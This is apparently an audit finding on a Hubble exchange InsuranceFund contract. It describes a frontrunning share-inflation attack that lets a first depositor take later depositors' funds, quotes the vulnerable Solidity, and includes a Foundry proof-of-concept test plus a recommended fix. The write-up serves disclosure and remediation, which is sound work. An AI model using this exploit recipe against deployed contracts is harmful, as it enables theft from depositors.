0x3e84fa45

high

# Deposits in InsuranceFund can be stolen by frontrunning initial shares calculation

## Summary
Frontrunning the InsuranceFund liquidity initialization sets the minting of shares calculation in `deposit()` for subsequent depositors minting 0 shares, leaving the frontrunner with the only share minted that can withdraw all the deposited funds.
## Vulnerability Detail
The first `deposit()` mints `shares = amount`, and the posterior depositors base the amount of shares they get based on the existing shares and the total pool value with the following formula:

`shares = amount * _totalSupply / _pool`. 

We can see that if `amount * _totalSupply` is lower than `_pool`, the division is gonna result in a share amount of 0.

```Solidity

    function depositFor(address to, uint amount) override public {
        settlePendingObligation();
     
        require(pendingObligation == 0, "IF.deposit.pending_obligations");

        uint _pool = _totalPoolValue();
        uint _totalSupply = totalSupply();
        uint vusdBalance = balance();
        if (_totalSupply == 0 && vusdBalance > 0) { 
            vusd.safeTransfer(governance(), vusdBalance);
            _pool = 0;
        }

        vusd.safeTransferFrom(_msgSender(), address(this), amount);
        uint shares = 0;
        if (_pool == 0) {
            shares = amount;
        } else {
            shares = amount * _totalSupply / _pool;
        }
        _mint(to, shares);
        emit FundsAdded(to, amount, _blockTimestamp());
    }
```

If a malicious actor frontruns the initial deposit transaction and deposits an amount of `1 VUSD`, and following this transfers `X` amount of VUSD into the pool, due to the previous calculation any amount deposited in subsequent transactions will be multiplied by the `_totalSupply` of `1` and divided by the `_totalPoolValue()`. If the amount deposited is _lower than_ `X + 1` it is going to mint `0` shares, leaving the deposited funds attributed to the only share of the pool.

PoC:

```Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import "./Utils.sol";

contract ShareExploit is Utils {
    uint8 constant DECIMALS = 6;
    uint256 constant PRECISION = 10 ** DECIMALS;

    function setUp() public {
        setupContracts();
    }

    function testShareExploit() public {
        uint256 amount = 1000e6 + 1;
        mintVusd(address(this), amount);

        // deposit the smallest unit of VUSD
        husd.approve(address(insuranceFund), type(uint256).max);
        insuranceFund.deposit(1);
        assertEq(insuranceFund.totalSupply(), 1);
        assertEq(insuranceFund.balance(), 1);
        assertEq(insuranceFund.pricePerShare(), 1 * PRECISION);

        // transfer 1000 VUSD to directly to insuranceFund
        husd.transfer(address(insuranceFund), 1000e6);
        assertEq(insuranceFund.totalSupply(), 1);
        assertEq(insuranceFund.balance(), 1000e6 + 1);
        assertEq(insuranceFund.pricePerShare(), (1000e6 + 1) * PRECISION);

        // alice attempst to mint less than the balance (1000e6 + 1) and mints nothing
        mintVusd(alice, 1000e6);
        vm.startPrank(alice);
        husd.approve(address(insuranceFund), type(uint256).max);
        insuranceFund.deposit(1000e6);
        assertEq(insuranceFund.balanceOf(alice), 0);
        assertEq(insuranceFund.totalSupply(), 1);
        assertEq(insuranceFund.balance(), 2000e6 + 1);
    }
}




```
## Impact
The depositor's funds can be stolen by the malicious actor if the deposit amount is lower than the pool value.
## Code Snippet
https://github.com/hubble-exchange/hubble-protocol/blob/d89714101dd3494b132a3e3f9fed9aca4e19aef6/contracts/InsuranceFund.sol#L89C1-L111C6
## Tool used

Manual Review

## Recommendation
Both the recommendations of [issue 42](https://github.com/code-423n4/2022-02-hubble-findings/issues/42) and [issue 116](https://github.com/code-423n4/2022-02-hubble-findings/issues/116) are reasonable, with the advantage of issue 116 not having any cost to be implemented.
```Solidity 
  if (_pool == 0) {
            shares = _amount * 10 ** 18;
        } else {
```